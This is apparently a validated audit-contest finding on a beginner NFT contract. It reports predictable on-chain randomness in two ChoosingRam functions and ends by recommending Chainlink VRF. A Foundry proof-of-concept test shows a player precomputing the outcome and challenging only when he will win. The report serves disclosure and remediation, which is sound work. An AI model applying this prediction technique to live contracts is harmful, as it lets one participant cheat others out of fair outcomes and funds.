Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Weak randomness in `ChoosingRam::increaseValuesOfParticipants` and `ChoosingRam::selectRamIfNotSelected`

Summary

ChoosingRam::increaseValuesOfParticipants and ChoosingRam::selectRamIfNotSelected are using on-chain values for randomness seed which results in weak randomness.

Vulnerability Details

ChoosingRam::increaseValuesOfParticipants hashes msg.sender, block.timestamp, and block.prevrandao to create a supposedly random number to decide whether to improve the value of the challenger's NFT or that of the other player's NFT.

ChoosingRam::selectRamIfNotSelected hashes block.timestamp and block.prevrandao to create a supposedly random number to chose the Ram for the event.

However, hashing these values does not create truly random numbers. Malicious users can manipulate these values or know them ahead of time:

  • Validators can know ahead of time the block.timestamp.

  • User can mine/manipulate their msg.sender value to result in their address being used to generate the winner.

  • prevrandao suffers from biasibility, miners can know its value ahead of time. Furthermore, prevrandao is a constant in multiple target chains, which further diminished randomness:

-- in Arbitrum, it is 1

-- in zkSync, it is 2500000000000000

Blockchains are deterministic systems by nature, designed to achieve consensus across all nodes. Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

In the following test, player1

  • precalculates the "random" number used to determine the winner of the challenge,

  • challenges the other player only if he would win,

  • keeps challenging the other player until his NFT reaches maximum value.

function testWeakRandomness(uint256 blockNumber) public {
// Init block
vm.assume(blockNumber < 1728777600 / 12);
vm.roll(blockNumber);
vm.warp(blockNumber * 12);
// users enter to become players
vm.deal(player1, 1 ether);
vm.deal(player2, 1 ether);
vm.prank(player1);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.prank(player2);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
// pre-checks
assertEq(ramNFT.ownerOf(0), player1);
assertEq(ramNFT.ownerOf(1), player2);
// Prepare attack
uint256 loop = 0;
do {
// Update block
loop++;
vm.roll(block.number + 1);
vm.warp(block.timestamp + 12);
vm.prevrandao(keccak256(abi.encodePacked(block.number)));
// Precalculate random
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, player1))) % 2;
// If challenger is going to win, challenge someone until challenger's NFT reaches max value
if (random == 0) {
vm.prank(player1);
choosingRam.increaseValuesOfParticipants(0, 1);
if (ramNFT.getCharacteristics(0).isSatyavaakyah) {
break;
}
}
} while (loop < 100);
// Final checks
// challenger's NFT is maxxed out
assertEq(ramNFT.getCharacteristics(0).isSatyavaakyah, true);
// challengee's NFT did not improve at all
assertEq(ramNFT.getCharacteristics(1).isJitaKrodhah, false);
}

Impact

Malicious users can game the system and challenge others only if they are going to win.

Tools Used

Manual review, Foundry.

Recommendations

Consider using a cryptographically provable random number generator, such as

  • Chainlink VRF v2 or v2.5 for deployment on Ethereum, BNB, and Arbitrum,

  • Randomizer.AI for ZkSync.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak randomness in `ChoosingRam::increaseValuesOfParticipants`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.